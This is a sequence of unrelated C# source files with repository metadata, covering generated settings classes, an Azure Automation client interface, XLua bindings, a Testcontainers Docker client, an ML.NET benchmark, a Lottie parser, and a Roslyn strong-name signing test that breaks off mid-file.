//------------------------------------------------------------------------------ // <auto-generated> // This code was generated by a tool. // Runtime Version:4.0.30319.34014 // // Changes to this file may cause incorrect behavior and will be lost if // the code is regenerated. // </auto-generated> //------------------------------------------------------------------------------ namespace ToastNotifications.Properties { [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "12.0.0.0")] internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); public static Settings Default { get { return defaultInstance; } } } }
39.740741
151
0.584343
[ "Apache-2.0" ]
ninetyfivejae/ImagineCup2018
ImagineCupProject/ToastNotifications/Properties/Settings.Designer.cs
1,075
C#
using System.IO; using System.Runtime.Serialization; using GameEstate.Red.Formats.Red.CR2W.Reflection; using FastMember; using static GameEstate.Red.Formats.Red.Records.Enums; namespace GameEstate.Red.Formats.Red.Types { [DataContract(Namespace = "")] [REDMeta] public class CAINpcStylePitchforkParams : CAINpcCombatStyleParams { public CAINpcStylePitchforkParams(CR2WFile cr2w, CVariable parent, string name) : base(cr2w, parent, name){ } public static new CVariable Create(CR2WFile cr2w, CVariable parent, string name) => new CAINpcStylePitchforkParams(cr2w, parent, name); public override void Read(BinaryReader file, uint size) => base.Read(file, size); public override void Write(BinaryWriter file) => base.Write(file); } }
33.434783
138
0.758127
[ "MIT" ]
bclnet/GameEstate
src/Estates/Red/GameEstate.Red.Format/Red/W3/RTTIConvert/CAINpcStylePitchforkParams.cs
769
C#
// <auto-generated> // Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. See License.txt in the project root for // license information. // // Code generated by Microsoft (R) AutoRest Code Generator. // Changes may cause incorrect behavior and will be lost if the code is // regenerated. // </auto-generated> namespace Microsoft.Azure.Management.Automation { using Microsoft.Rest; using Microsoft.Rest.Azure; using Models; using Newtonsoft.Json; /// <summary> /// Automation Client /// </summary> public partial interface IAutomationClient : System.IDisposable { /// <summary> /// The base URI of the service. /// </summary> System.Uri BaseUri { get; set; } /// <summary> /// Gets or sets json serialization settings. /// </summary> JsonSerializerSettings SerializationSettings { get; } /// <summary> /// Gets or sets json deserialization settings. /// </summary> JsonSerializerSettings DeserializationSettings { get; } /// <summary> /// Credentials needed for the client to connect to Azure. /// </summary> ServiceClientCredentials Credentials { get; } /// <summary> /// Gets subscription credentials which uniquely identify Microsoft /// Azure subscription. The subscription ID forms part of the URI for /// every service call. /// </summary> string SubscriptionId { get; set; } /// <summary> /// The resource group name. /// </summary> string ResourceGroupName { get; set; } /// <summary> /// Identifies this specific client request. /// </summary> string ClientRequestId { get; set; } /// <summary> /// The name of the automation account. /// </summary> string AutomationAccountName { get; set; } /// <summary> /// Gets or sets the preferred language for the response. /// </summary> string AcceptLanguage { get; set; } /// <summary> /// Gets or sets the retry timeout in seconds for Long Running /// Operations. Default value is 30. /// </summary> int? LongRunningOperationRetryTimeout { get; set; } /// <summary> /// When set to true a unique x-ms-client-request-id value is generated /// and included in each request. Default is true. /// </summary> bool? GenerateClientRequestId { get; set; } /// <summary> /// Gets the IAutomationAccountOperations. /// </summary> IAutomationAccountOperations AutomationAccount { get; } /// <summary> /// Gets the IOperations. /// </summary> IOperations Operations { get; } /// <summary> /// Gets the IStatisticsOperations. /// </summary> IStatisticsOperations Statistics { get; } /// <summary> /// Gets the IUsagesOperations. /// </summary> IUsagesOperations Usages { get; } /// <summary> /// Gets the ICertificateOperations. /// </summary> ICertificateOperations Certificate { get; } /// <summary> /// Gets the IConnectionOperations. /// </summary> IConnectionOperations Connection { get; } /// <summary> /// Gets the IConnectionTypeOperations. /// </summary> IConnectionTypeOperations ConnectionType { get; } /// <summary> /// Gets the ICredentialOperations. /// </summary> ICredentialOperations Credential { get; } /// <summary> /// Gets the IDscCompilationJobOperations. /// </summary> IDscCompilationJobOperations DscCompilationJob { get; } /// <summary> /// Gets the IDscConfigurationOperations. /// </summary> IDscConfigurationOperations DscConfiguration { get; } /// <summary> /// Gets the IAgentRegistrationInformationOperations. /// </summary> IAgentRegistrationInformationOperations AgentRegistrationInformation { get; } /// <summary> /// Gets the IDscNodeOperations. /// </summary> IDscNodeOperations DscNode { get; } /// <summary> /// Gets the INodeReportsOperations. /// </summary> INodeReportsOperations NodeReports { get; } /// <summary> /// Gets the IDscNodeConfigurationOperations. /// </summary> IDscNodeConfigurationOperations DscNodeConfiguration { get; } /// <summary> /// Gets the IHybridRunbookWorkerGroupOperations. /// </summary> IHybridRunbookWorkerGroupOperations HybridRunbookWorkerGroup { get; } /// <summary> /// Gets the IJobOperations. /// </summary> IJobOperations Job { get; } /// <summary> /// Gets the IJobStreamOperations. /// </summary> IJobStreamOperations JobStream { get; } /// <summary> /// Gets the IJobScheduleOperations. /// </summary> IJobScheduleOperations JobSchedule { get; } /// <summary> /// Gets the IActivityOperations. /// </summary> IActivityOperations Activity { get; } /// <summary> /// Gets the IModuleOperations. /// </summary> IModuleOperations Module { get; } /// <summary> /// Gets the IObjectDataTypesOperations. /// </summary> IObjectDataTypesOperations ObjectDataTypes { get; } /// <summary> /// Gets the IFieldsOperations. /// </summary> IFieldsOperations Fields { get; } /// <summary> /// Gets the IRunbookDraftOperations. /// </summary> IRunbookDraftOperations RunbookDraft { get; } /// <summary> /// Gets the IRunbookOperations. /// </summary> IRunbookOperations Runbook { get; } /// <summary> /// Gets the ITestJobStreamsOperations. /// </summary> ITestJobStreamsOperations TestJobStreams { get; } /// <summary> /// Gets the ITestJobsOperations. /// </summary> ITestJobsOperations TestJobs { get; } /// <summary> /// Gets the IScheduleOperations. /// </summary> IScheduleOperations Schedule { get; } /// <summary> /// Gets the IVariableOperations. /// </summary> IVariableOperations Variable { get; } /// <summary> /// Gets the IWebhookOperations. /// </summary> IWebhookOperations Webhook { get; } /// <summary> /// Gets the ISoftwareUpdateConfigurationsOperations. /// </summary> ISoftwareUpdateConfigurationsOperations SoftwareUpdateConfigurations { get; } /// <summary> /// Gets the ISoftwareUpdateConfigurationRunsOperations. /// </summary> ISoftwareUpdateConfigurationRunsOperations SoftwareUpdateConfigurationRuns { get; } /// <summary> /// Gets the ISoftwareUpdateConfigurationMachineRunsOperations. /// </summary> ISoftwareUpdateConfigurationMachineRunsOperations SoftwareUpdateConfigurationMachineRuns { get; } } }
30.106122
105
0.581074
[ "MIT" ]
Lusitanian/azure-sdk-for-net
src/SDKs/Automation/Management.Automation/Generated/IAutomationClient.cs
7,376
C#
namespace Atata.Tests { using _ = ShadowHostPage; [FindById("shadow-container-1", As = FindAs.ShadowHost, TargetAnyType = true)] public class ShadowHostPage : Page<_> { public ControlList<Text<_>, _> Paragraphs { get; private set; } [FindByIndex(1)] [ControlDefinition("p")] public Text<_> Paragraph2 { get; private set; } } }
25.466667
82
0.623037
[ "Apache-2.0" ]
Xen0byte/atata
test/Atata.Tests/Components/ShadowHostPage.cs
384
C#
#if USE_UNI_LUA using LuaAPI = UniLua.Lua; using RealStatePtr = UniLua.ILuaState; using LuaCSFunction = UniLua.CSharpFunctionDelegate; #else using LuaAPI = XLua.LuaDLL.Lua; using RealStatePtr = System.IntPtr; using LuaCSFunction = XLua.LuaDLL.lua_CSFunction; #endif using XLua; using System.Collections.Generic; namespace XLua.CSObjectWrap { using Utils = XLua.Utils; public class TutorialCalcWrap { public static void __Register(RealStatePtr L) { ObjectTranslator translator = ObjectTranslatorPool.Instance.Find(L); System.Type type = typeof(Tutorial.Calc); Utils.BeginObjectRegister(type, L, translator, 0, 1, 0, 0); Utils.RegisterFunc(L, Utils.METHOD_IDX, "add", _m_add); Utils.EndObjectRegister(type, L, translator, null, null, null, null, null); Utils.BeginClassRegister(type, L, __CreateInstance, 1, 0, 0); Utils.EndClassRegister(type, L, translator); } [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static int __CreateInstance(RealStatePtr L) { return LuaAPI.luaL_error(L, "Tutorial.Calc does not have a constructor!"); } [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static int _m_add(RealStatePtr L) { try { ObjectTranslator translator = ObjectTranslatorPool.Instance.Find(L); Tutorial.Calc __cl_gen_to_be_invoked = (Tutorial.Calc)translator.FastGetCSObj(L, 1); { int a = LuaAPI.xlua_tointeger(L, 2); int b = LuaAPI.xlua_tointeger(L, 3); int __cl_gen_ret = __cl_gen_to_be_invoked.add( a, b ); LuaAPI.xlua_pushinteger(L, __cl_gen_ret); return 1; } } catch(System.Exception __gen_e) { return LuaAPI.luaL_error(L, "c# exception:" + __gen_e); } } } }
23.545455
100
0.528529
[ "Apache-2.0" ]
feigebabata/LuaShow
Assets/XLua/Gen/TutorialCalcWrap.cs
2,333
C#
using System; using System.Collections.Generic; using System.Configuration; using System.Data; using System.Linq; using System.Threading.Tasks; using System.Windows; namespace NotePad { /// <summary> /// App.xaml에 대한 상호 작용 논리 /// </summary> public partial class App : Application { } }
17.333333
42
0.689103
[ "MIT" ]
ParkJeongSu/WPF-NotePad
App.xaml.cs
332
C#
using System; using System.Xml.Serialization; namespace Aop.Api.Domain { /// <summary> /// VoucherLiteInfo Data Structure. /// </summary> [Serializable] public class VoucherLiteInfo : AopObject { /// <summary> /// 发券时间,格式为:yyyy-MM-dd HH:mm:ss /// </summary> [XmlElement("send_time")] public string SendTime { get; set; } /// <summary> /// 券状态,可枚举,分别为“可用”(ENABLED)和“不可用”(DISABLED) /// </summary> [XmlElement("status")] public string Status { get; set; } /// <summary> /// 券模板ID /// </summary> [XmlElement("template_id")] public string TemplateId { get; set; } /// <summary> /// 券ID /// </summary> [XmlElement("voucher_id")] public string VoucherId { get; set; } } }
23.162162
52
0.518086
[ "MIT" ]
BJDIIL/DiiL
Sdk/AlipaySdk/Domain/VoucherLiteInfo.cs
925
C#
namespace DotNet.Testcontainers.Clients { using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Threading; using System.Threading.Tasks; using Docker.DotNet.Models; using DotNet.Testcontainers.Containers.Configurations; using DotNet.Testcontainers.Containers.OutputConsumers; using DotNet.Testcontainers.Images.Configurations; using DotNet.Testcontainers.Internals; using DotNet.Testcontainers.Services; internal sealed class TestcontainersClient : ITestcontainersClient { private readonly string osRootDirectory = Path.GetPathRoot(typeof(ITestcontainersClient).Assembly.Location); private readonly Uri endpoint; private readonly TestcontainersRegistryService registryService; private readonly IDockerContainerOperations containers; private readonly IDockerImageOperations images; private readonly IDockerSystemOperations system; public TestcontainersClient() : this( DockerApiEndpoint.Local) { } public TestcontainersClient(Uri endpoint) : this( new TestcontainersRegistryService(), new DockerContainerOperations(endpoint), new DockerImageOperations(endpoint), new DockerSystemOperations(endpoint) ) { this.endpoint = endpoint; } private TestcontainersClient( TestcontainersRegistryService registryService, IDockerContainerOperations containerOperations, IDockerImageOperations imageOperations, IDockerSystemOperations systemOperations) { this.registryService = registryService; this.containers = containerOperations; this.images = imageOperations; this.system = systemOperations; AppDomain.CurrentDomain.ProcessExit += (sender, args) => this.PurgeOrphanedContainers(); Console.CancelKeyPress += (sender, args) => this.PurgeOrphanedContainers(); } public bool IsRunningInsideDocker { get { return File.Exists(Path.Combine(this.osRootDirectory, ".dockerenv")); } } public async Task<bool> GetIsWindowsEngineEnabled(CancellationToken ct = default) { await new SynchronizationContextRemover(); return await this.system.GetIsWindowsEngineEnabled(ct); } public Task<ContainerListResponse> GetContainer(string id, CancellationToken ct = default) { return this.containers.ByIdAsync(id, ct); } public Task<long> GetContainerExitCode(string id, CancellationToken ct = default) { return this.containers.GetExitCode(id, ct); } public async Task StartAsync(string id, CancellationToken ct = default) { if (await this.containers.ExistsWithIdAsync(id, ct)) { await this.containers.StartAsync(id, ct); } } public async Task StopAsync(string id, CancellationToken ct = default) { if (await this.containers.ExistsWithIdAsync(id, ct)) { await this.containers.StopAsync(id, ct); } } public async Task RemoveAsync(string id, CancellationToken ct = default) { if (await this.containers.ExistsWithIdAsync(id, ct)) { await this.containers.RemoveAsync(id, ct); } this.registryService.Unregister(id); } public Task AttachAsync(string id, IOutputConsumer outputConsumer, CancellationToken ct = default) { return this.containers.AttachAsync(id, outputConsumer, ct); } public Task<long> ExecAsync(string id, IList<string> command, CancellationToken ct = default) { return this.containers.ExecAsync(id, command, ct); } public async Task<string> RunAsync(ITestcontainersConfiguration configuration, CancellationToken ct = default) { if (!await this.images.ExistsWithNameAsync(configuration.Image.FullName, ct)) { await this.images.CreateAsync(configuration.Image, ct); } var id = await this.containers.RunAsync(configuration, ct); this.registryService.Register(id, configuration.CleanUp); return id; } public async Task<string> BuildAsync(IImageFromDockerfileConfiguration configuration, CancellationToken ct = default) { return await this.images.BuildAsync(configuration, ct); } private void PurgeOrphanedContainers() { var args = new PurgeOrphanedContainersArgs(this.endpoint, this.registryService.GetRegisteredContainers()); new Process { StartInfo = { FileName = "docker", Arguments = args.ToString() } }.Start(); } } }
31.131034
121
0.715995
[ "MIT" ]
jdelucaa/dotnet-testcontainers
src/DotNet.Testcontainers/Clients/TestcontainersClient.cs
4,514
C#
using System.Collections; using System.Collections.Generic; using UnityEngine; //This is used when you want to attach a CollisionSounds to a child collider of a rigidbody. //It won't receive any collision callbacks, so this is the way to get different CollisionEffects variants among the colliders. namespace PrecisionSurfaceEffects { [DisallowMultipleComponent] public abstract class CollisionEffectsMaker : MonoBehaviour { //Fields [Tooltip("If bigger than a colliding CollisionEffects, it will play instead of it")] public int priority; internal bool stayFrameBool; //Methods protected bool FrameBool() { return Time.frameCount % 2 == 0; } } [AddComponentMenu("PSE/Collision/Collision-Effects Parent", 1000)] public class CollisionEffectsParent : CollisionEffectsMaker { //Fields public int defaultType = -1; public Type[] types; //Methods public CollisionEffects GetCollisionEffects(Collider c) { for (int i = 0; i < types.Length; i++) { var t = types[i]; for (int ii = 0; ii < t.colliders.Length; ii++) { if (t.colliders[ii] == c) { return t.collisionEffects; } } } if (defaultType != -1) { return types[defaultType].collisionEffects; } return null; } //Datatypes [System.Serializable] public class Type { public Collider[] colliders; public CollisionEffects collisionEffects; } //Lifecycle #if UNITY_EDITOR private void OnValidate() { defaultType = Mathf.Clamp(defaultType, -1, types.Length - 1); var rb = GetComponent<Rigidbody>(); for (int i = 0; i < types.Length; i++) { var t = types[i]; for (int ii = 0; ii < t.colliders.Length; ii++) { var c = t.colliders[ii]; if (c.attachedRigidbody != rb) { t.colliders[ii] = null; Debug.Log(c.gameObject.name + " is not a part of the Rigidbody: " + rb.gameObject.name); } } } } #endif private void OnCollisionEnter(Collision collision) { stayFrameBool = FrameBool(); var ce = GetCollisionEffects(collision.GetContact(0).thisCollider); if (ce != null) //use object compare? ce.OnCollisionEnter(collision); } private void OnCollisionStay(Collision collision) { var ce = GetCollisionEffects(collision.GetContact(0).thisCollider); if(ce != null) ce.OnOnCollisionStay(collision); } } }
27.495495
126
0.522608
[ "MIT" ]
Steffenvy/MicroSplat-Footstep-Sounds
Runtime/Collision/CollisionEffectsParent.cs
3,054
C#
// ------------------------------------------------------------------------------ // Copyright (c) Microsoft Corporation. All Rights Reserved. Licensed under the MIT License. See License in the project root for license information. // ------------------------------------------------------------------------------ // **NOTE** This file was generated by a tool and any changes will be overwritten. // <auto-generated/> // Template Source: EntityType.cs.tt namespace Microsoft.Graph { using System; using System.Collections.Generic; using System.IO; using System.Text.Json.Serialization; /// <summary> /// The type Audit Log Root. /// </summary> public partial class AuditLogRoot : Entity { /// <summary> /// Gets or sets directory audits. /// Read-only. Nullable. /// </summary> [JsonPropertyName("directoryAudits")] public IAuditLogRootDirectoryAuditsCollectionPage DirectoryAudits { get; set; } /// <summary> /// Gets or sets directoryAuditsNextLink. /// </summary> [JsonPropertyName("[email protected]")] [JsonConverter(typeof(NextLinkConverter))] public string DirectoryAuditsNextLink { get; set; } /// <summary> /// Gets or sets provisioning. /// </summary> [JsonPropertyName("provisioning")] public IAuditLogRootProvisioningCollectionPage Provisioning { get; set; } /// <summary> /// Gets or sets provisioningNextLink. /// </summary> [JsonPropertyName("[email protected]")] [JsonConverter(typeof(NextLinkConverter))] public string ProvisioningNextLink { get; set; } /// <summary> /// Gets or sets restricted sign ins. /// </summary> [JsonPropertyName("restrictedSignIns")] public IAuditLogRootRestrictedSignInsCollectionPage RestrictedSignIns { get; set; } /// <summary> /// Gets or sets restrictedSignInsNextLink. /// </summary> [JsonPropertyName("[email protected]")] [JsonConverter(typeof(NextLinkConverter))] public string RestrictedSignInsNextLink { get; set; } /// <summary> /// Gets or sets sign ins. /// Read-only. Nullable. /// </summary> [JsonPropertyName("signIns")] public IAuditLogRootSignInsCollectionPage SignIns { get; set; } /// <summary> /// Gets or sets signInsNextLink. /// </summary> [JsonPropertyName("[email protected]")] [JsonConverter(typeof(NextLinkConverter))] public string SignInsNextLink { get; set; } } }
34.125
153
0.584615
[ "MIT" ]
ScriptBox21/msgraph-sdk-dotnet
src/Microsoft.Graph/Generated/model/AuditLogRoot.cs
2,730
C#
using System; using System.Collections.Generic; using System.Text; namespace MonopolyPreUnity.Components.SystemRequest.PlayerInput.Property { class BuyProperty : IEntityComponent { public int BuyerId { get; set; } public int PropertyId { get; set; } public BuyProperty(int buyerId, int propertyId) { BuyerId = buyerId; PropertyId = propertyId; } } }
22.578947
72
0.641026
[ "MIT" ]
BardiTheWeird/MonopolyPreUnity
MonopolyPreUnity/Components/SystemRequest/PlayerInput/Property/BuyProperty.cs
431
C#
using Core.DataAccess.EntityFramework; using DataAccess.Abstract; using Entities.Concrete; namespace DataAccess.Concrete.EntityFramework { public class EfBrandDal : EfEntityRepositoryBase<Brand, RentACarContext>, IBrandDal { } }
24.2
87
0.793388
[ "MIT" ]
avnikasikci/RentACarPortal
DataAccess/Concrete/EntityFramework/EfBrandDal.cs
244
C#
using AVFoundation; using Xamarin.Forms; using Todo; [assembly: Dependency(typeof(TextToSpeech_iOS))] namespace Todo { public class TextToSpeech_iOS : ITextToSpeech { float volume = 0.5f; float pitch = 1.0f; /// <summary> /// Speak example from: /// http://blog.xamarin.com/make-your-ios-7-app-speak/ /// </summary> public void Speak(string text) { if (!string.IsNullOrWhiteSpace(text)) { var speechSynthesizer = new AVSpeechSynthesizer(); var speechUtterance = new AVSpeechUtterance(text) { Rate = AVSpeechUtterance.MaximumSpeechRate / 3, Voice = AVSpeechSynthesisVoice.FromLanguage("en-US"), Volume = volume, PitchMultiplier = pitch }; speechSynthesizer.SpeakUtterance(speechUtterance); } } } }
22.028571
58
0.687419
[ "Apache-2.0" ]
4qu3l3c4r4/xamarin-forms-samples
Todo/Todo.iOS/TextToSpeech_iOS.cs
771
C#
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using System.IO; using BenchmarkDotNet.Attributes; using Microsoft.ML; using Microsoft.ML.Benchmarks; using Microsoft.ML.TestFramework; using Microsoft.ML.Trainers; namespace micro { [SimpleJob] public class TextPredictionEngineCreationBenchmark { private MLContext _context; private ITransformer _trainedModel; private ITransformer _trainedModelOldFormat; [GlobalSetup] public void Setup() { _context = new MLContext(1); var data = _context.Data.LoadFromTextFile<SentimentData>(BaseTestClass.GetDataPath("wikipedia-detox-250-line-data.tsv"), hasHeader: true); // Pipeline. var pipeline = _context.Transforms.Text.FeaturizeText("Features", "SentimentText") .AppendCacheCheckpoint(_context) .Append(_context.BinaryClassification.Trainers.SdcaNonCalibrated( new SdcaNonCalibratedBinaryTrainer.Options { NumberOfThreads = 1 })); // Train. var model = pipeline.Fit(data); var modelPath = "temp.zip"; // Save model. _context.Model.Save(model, data.Schema, modelPath); // Load model. _trainedModel = _context.Model.Load(modelPath, out var inputSchema); _trainedModelOldFormat = _context.Model.Load(Path.Combine("TestModels", "SentimentModel.zip"), out inputSchema); } [Benchmark] public PredictionEngine<SentimentData, SentimentPrediction> CreatePredictionEngine() { return _context.Model.CreatePredictionEngine<SentimentData, SentimentPrediction>(_trainedModel); } [Benchmark] public PredictionEngine<SentimentData, SentimentPrediction> CreatePredictionEngineFromOldFormat() { return _context.Model.CreatePredictionEngine<SentimentData, SentimentPrediction>(_trainedModelOldFormat); } } }
37.137931
150
0.67688
[ "MIT" ]
gvashishtha/machinelearning
test/Microsoft.ML.Benchmarks/TextPredictionEngineCreation.cs
2,156
C#
using System.IO; using System.Runtime.Serialization; using GameEstate.Red.Formats.Red.CR2W.Reflection; using FastMember; using static GameEstate.Red.Formats.Red.Records.Enums; namespace GameEstate.Red.Formats.Red.Types { [DataContract(Namespace = "")] [REDMeta] public class BTTaskManageFXInstanceDef : IBehTreeTaskDefinition { [Ordinal(1)] [RED("hasAbilityCondition")] public CName HasAbilityCondition { get; set;} [Ordinal(2)] [RED("fxName")] public CName FxName { get; set;} [Ordinal(3)] [RED("fxTickets")] public CInt32 FxTickets { get; set;} [Ordinal(4)] [RED("distanceToAnotherFx")] public CFloat DistanceToAnotherFx { get; set;} [Ordinal(5)] [RED("fxInstanceCheckInterval")] public CFloat FxInstanceCheckInterval { get; set;} [Ordinal(6)] [RED("stopFxAfterDeath")] public CBool StopFxAfterDeath { get; set;} public BTTaskManageFXInstanceDef(CR2WFile cr2w, CVariable parent, string name) : base(cr2w, parent, name){ } public static new CVariable Create(CR2WFile cr2w, CVariable parent, string name) => new BTTaskManageFXInstanceDef(cr2w, parent, name); public override void Read(BinaryReader file, uint size) => base.Read(file, size); public override void Write(BinaryWriter file) => base.Write(file); } }
36.971429
137
0.721793
[ "MIT" ]
bclnet/GameEstate
src/Estates/Red/GameEstate.Red.Format/Red/W3/RTTIConvert/BTTaskManageFXInstanceDef.cs
1,294
C#
using System.Diagnostics; using Avalonia.Lottie.Model.Content; namespace Avalonia.Lottie.Parser { internal static class ContentModelParser { internal static IContentModel Parse(JsonReader reader, LottieComposition composition) { string type = null; reader.BeginObject(); // Unfortunately, for an ellipse, d is before "ty" which means that it will get parsed // before we are in the ellipse parser. // "d" is 2 for normal and 3 for reversed. var d = 2; while (reader.HasNext()) switch (reader.NextName()) { case "ty": type = reader.NextString(); goto typeLoop; case "d": d = reader.NextInt(); break; default: reader.SkipValue(); break; } typeLoop: if (type == null) return null; IContentModel model = null; switch (type) { case "gr": model = ShapeGroupParser.Parse(reader, composition); break; case "st": model = ShapeStrokeParser.Parse(reader, composition); break; case "gs": model = GradientStrokeParser.Parse(reader, composition); break; case "fl": model = ShapeFillParser.Parse(reader, composition); break; case "gf": model = GradientFillParser.Parse(reader, composition); break; case "tr": model = AnimatableTransformParser.Parse(reader, composition); break; case "sh": model = ShapePathParser.Parse(reader, composition); break; case "el": model = CircleShapeParser.Parse(reader, composition, d); break; case "rc": model = RectangleShapeParser.Parse(reader, composition); break; case "tm": model = ShapeTrimPathParser.Parse(reader, composition); break; case "sr": model = PolystarShapeParser.Parse(reader, composition); break; case "mm": break; // Disabling for now. model = MergePathsParser.Parse(reader); composition.AddWarning("Animation contains merge paths. Merge paths are only " + "supported on KitKat+ and must be manually enabled by calling " + "enableMergePathsForKitKatAndAbove()."); break; case "rp": model = RepeaterParser.Parse(reader, composition); break; default: Debug.WriteLine("Unknown shape type " + type, LottieLog.Tag); break; } while (reader.HasNext()) reader.SkipValue(); reader.EndObject(); return model; } } }
37.391304
108
0.447674
[ "Apache-2.0" ]
AvaloniaUI/Avalonia.Lottie
Avalonia.Lottie/Parser/ContentModelParser.cs
3,442
C#
// Copyright (c) Microsoft Open Technologies, Inc. All Rights Reserved. Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information. using System; using System.Collections.Immutable; using System.IO; using System.Linq; using System.Reflection.Metadata; using System.Reflection.PortableExecutable; using Microsoft.CodeAnalysis; using Microsoft.CodeAnalysis.Collections; using Microsoft.CodeAnalysis.CSharp; using Microsoft.CodeAnalysis.CSharp.Symbols; using Microsoft.CodeAnalysis.CSharp.Test.Utilities; using Microsoft.CodeAnalysis.Emit; using Microsoft.CodeAnalysis.Test.Utilities; using Roslyn.Test.Utilities; using Roslyn.Utilities; using Xunit; public class InternalsVisibleToAndStrongNameTests : CSharpTestBase { #region Helpers public InternalsVisibleToAndStrongNameTests() { SigningTestHelpers.InstallKey(); } private static readonly string KeyPairFile = SigningTestHelpers.KeyPairFile; private static readonly string PublicKeyFile = SigningTestHelpers.PublicKeyFile; private static readonly ImmutableArray<byte> PublicKey = SigningTestHelpers.PublicKey; private static readonly DesktopStrongNameProvider DefaultProvider = new SigningTestHelpers.VirtualizedStrongNameProvider(ImmutableArray.Create<string>()); private static DesktopStrongNameProvider GetProviderWithPath(string keyFilePath) { return new SigningTestHelpers.VirtualizedStrongNameProvider(ImmutableArray.Create(keyFilePath)); } #endregion #region Naming Tests [Fact, WorkItem(529419, "DevDiv")] public void AssemblyKeyFileAttributeNotExistFile() { string source = @" using System; using System.Reflection; [assembly: AssemblyKeyFile(""MyKey.snk"")] [assembly: AssemblyKeyName(""Key Name"")] public class Test { public static void Main() { Console.Write(""Hello World!""); } } "; // Dev11 RC gives error now (CS1548) + two warnings // Diagnostic(ErrorCode.WRN_UseSwitchInsteadOfAttribute).WithArguments(@"/keyfile", "AssemblyKeyFile"), // Diagnostic(ErrorCode.WRN_UseSwitchInsteadOfAttribute).WithArguments(@"/keycontainer", "AssemblyKeyName") var c = CreateCompilationWithMscorlib(source, references: new[] { SystemRef }, options: TestOptions.ReleaseDll.WithStrongNameProvider(new DesktopStrongNameProvider())); c.VerifyDiagnostics( Diagnostic(ErrorCode.ERR_PublicKeyFileFailure).WithArguments("MyKey.snk", "File not found.")); } [Fact] public void PubKeyFromKeyFileAttribute() { var x = KeyPairFile; string s = String.Format("{0}{1}{2}", @"[assembly: System.Reflection.AssemblyKeyFile(@""", x, @""")] public class C {}"); var other = CreateCompilationWithMscorlib(s, options: TestOptions.ReleaseDll.WithStrongNameProvider(DefaultProvider)); other.VerifyDiagnostics(); Assert.True(ByteSequenceComparer.Instance.Equals(PublicKey, other.Assembly.Identity.PublicKey)); CompileAndVerify(other, symbolValidator: (ModuleSymbol m) => { bool haveAttribute = false; foreach (var attrData in m.ContainingAssembly.GetAttributes()) { if (attrData.IsTargetAttribute(m.ContainingAssembly, AttributeDescription.AssemblyKeyFileAttribute)) { haveAttribute = true; break; } } Assert.True(haveAttribute); }, emitOptions: TestEmitters.CCI); } [Fact] public void PubKeyFromKeyFileAttribute_AssemblyKeyFileResolver() { string keyFileDir = Path.GetDirectoryName(KeyPairFile); string keyFileName = Path.GetFileName(KeyPairFile); string s = string.Format("{0}{1}{2}", @"[assembly: System.Reflection.AssemblyKeyFile(@""", keyFileName, @""")] public class C {}"); var syntaxTree = Parse(s, @"IVTAndStrongNameTests\AnotherTempDir\temp.cs"); // verify failure with default assembly key file resolver var comp = CreateCompilationWithMscorlib(syntaxTree, options: TestOptions.ReleaseDll); comp.VerifyDiagnostics( Diagnostic(ErrorCode.ERR_PublicKeyFileFailure).WithArguments(keyFileName, "Assembly signing not supported.")); Assert.True(comp.Assembly.Identity.PublicKey.IsEmpty); // verify success with custom assembly key file resolver with keyFileDir added to search paths comp = CSharpCompilation.Create( GetUniqueName(), new[] { syntaxTree }, new[] { MscorlibRef }, TestOptions.ReleaseDll.WithStrongNameProvider(GetProviderWithPath(keyFileDir))); comp.VerifyDiagnostics(); Assert.True(ByteSequenceComparer.Instance.Equals(PublicKey, comp.Assembly.Identity.PublicKey)); } [Fact] public void PubKeyFromKeyFileAttribute_AssemblyKeyFileResolver_RelativeToCurrentParent() { string keyFileDir = Path.GetDirectoryName(KeyPairFile); string keyFileName = Path.GetFileName(KeyPairFile); string s = String.Format("{0}{1}{2}", @"[assembly: System.Reflection.AssemblyKeyFile(@""..\", keyFileName, @""")] public class C {}"); var syntaxTree = Parse(s, @"IVTAndStrongNameTests\AnotherTempDir\temp.cs"); // verify failure with default assembly key file resolver var comp = CreateCompilationWithMscorlib(syntaxTree, options: TestOptions.ReleaseDll); comp.VerifyDiagnostics( // error CS7027: Error extracting public key from file '..\KeyPairFile.snk' -- File not found. Diagnostic(ErrorCode.ERR_PublicKeyFileFailure).WithArguments(@"..\" + keyFileName, "Assembly signing not supported.")); Assert.True(comp.Assembly.Identity.PublicKey.IsEmpty); // verify success with custom assembly key file resolver with keyFileDir\TempSubDir added to search paths comp = CSharpCompilation.Create( GetUniqueName(), new[] { syntaxTree }, new[] { MscorlibRef }, TestOptions.ReleaseDll.WithStrongNameProvider(GetProviderWithPath(PathUtilities.CombineAbsoluteAndRelativePaths(keyFileDir, @"TempSubDir\")))); Assert.Empty(comp.GetDiagnostics()); Assert.True(ByteSequenceComparer.Instance.Equals(PublicKey, comp.Assembly.Identity.PublicKey)); } [Fact] public void PubKeyFromKeyContainerAttribute() { var x = KeyPairFile; string s = @"[assembly: System.Reflection.AssemblyKeyName(""roslynTestContainer"")] public class C {}"; var other = CreateCompilationWithMscorlib(s, options: TestOptions.ReleaseDll.WithStrongNameProvider(DefaultProvider)); other.VerifyDiagnostics(); Assert.True(ByteSequenceComparer.Instance.Equals(PublicKey, other.Assembly.Identity.PublicKey)); CompileAndVerify(other, symbolValidator: (ModuleSymbol m) => { bool haveAttribute = false; foreach (var attrData in m.ContainingAssembly.GetAttributes()) { if (attrData.IsTargetAttribute(m.ContainingAssembly, AttributeDescription.AssemblyKeyNameAttribute)) { haveAttribute = true; break; } } Assert.True(haveAttribute); }, emitOptions: TestEmitters.CCI); } [Fact] public void PubKeyFromKeyFileOptions() { string s = "public class C {}"; var other = CreateCompilationWithMscorlib(s, options: TestOptions.ReleaseDll.WithCryptoKeyFile(KeyPairFile).WithStrongNameProvider(DefaultProvider)); other.VerifyDiagnostics(); Assert.True(ByteSequenceComparer.Instance.Equals(PublicKey, other.Assembly.Identity.PublicKey)); } [Fact] public void 